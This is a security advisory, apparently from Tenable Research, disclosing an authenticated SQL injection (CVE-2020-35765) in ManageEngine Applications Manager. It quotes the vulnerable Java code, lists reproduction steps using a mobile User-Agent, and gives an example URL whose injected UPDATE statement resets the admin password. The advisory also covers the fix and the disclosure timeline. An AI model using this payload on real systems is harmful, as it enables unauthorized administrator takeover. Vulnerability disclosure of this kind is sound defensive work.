tenable

ManageEngine Applications Manager Authenticated SQLi

High

← View More Research Advisories

Synopsis

Tenable Research discovered an authenticated SQL injection vulnerability in ManageEngine Applications Manager.

A flaw exists in the **doFilter** method in the **com.adventnet.appmanager.filter.UriCollector** Java class. A low-privileged user can inject SQL statements via the **resourceid** parameter in an HTTP request sent to URL **/showresource.do** while using a mobile User-Agent (i.e., User-Agent:blackberry HTTP header):

```
if (isMobile.equalsIgnoreCase("true")) {
        ...<snip>...
        if (str1.startsWith("/showapplication.do") && queryString.contains("method=showApplication")) {
          hresp.sendRedirect(hresp.encodeRedirectURL("/mobile/DetailsView.do?method=showMGDetails&groupId=" + req.getParameter("haid")));
        }
        ...<snip>...
          } else if (queryString.contains("method=showResourceForResourceID")) {
            ManagedApplication mo = new ManagedApplication();
            String qryToChkHAI = "Select * from AM_ManagedObject where TYPE='HAI' and RESOURCEID=" + req.getParameter("resourceid");
```

The attacker can perform the following actions to achieve SQLi:

```
- Using the Chrome browser, fetch the Applications Manager login page at https://<AppMgrHost>:8443/index.do
- Change the user agent of the Chrome browser to Android with steps: Customize and control Google Chrome -> More tools -> Developer tools -> Customize and control DevTools -> Mo
- Fetch the login page at https://<AppMgrHost>:8443/index.do
- The login page should be in mobile view
- Login as a normal, non-administrator user
- Type in the following URL in the address bar:
  https://<AppMgrHost>:8443/showresource.do?method=showResourceForResourceID&resourceid=99999<sqli>
- For example, to change the admin password to $attacker$, type:
  https://<AppMgrHost>:8443/showresource.do?method=showResourceForResourceID&resourceid=99999%3bUPDATE%20AM_UserPasswordTable%20SET%20password %3d%24%241de45bbd0d85df3028bbcc4e1
```

Solution

Upgrade to ManageEngine Applications Manager build 15000 or later.

Additional References

https://www.manageengine.com/products/applications_manager/security-updates/security-updates-cve-2020-35765.html

Disclosure Timeline

12/11/2020 - Vulnerability discovered
12/17/2020 - Report sent to ManageEngine via email
12/18/2020 - ManageEngine requests report via ZOHO bugbounty webform
12/18/2020 - Tenable resubmitted report via web form
12/21/2020 - ZOHO acknowledges, says fix is ready and patches will release soon
01/13/2021 - fix is released, Tenable is not informed
02/04/2021 - Tenable notices released fix, releases advisory

Risk Information

CVE ID: CVE-2020-35765
Tenable Advisory ID: TRA-2021-02
CVSSv2 Base / Temporal Score: 9.0
CVSSv2 Vector: AV:N/AC:L/Au:S/C:C/I:C/A:C
CVSSv3 Base / Temporal Score: 8.8
CVSSv3 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Products: ManageEngine Applications Manager <= build 14930
Risk Factor: High

Advisory Timeline

February 4th, 2021 - Initial release.

tenable

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security Posture Management

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Media

tenable

Privacy Policy Legal 508 Compliance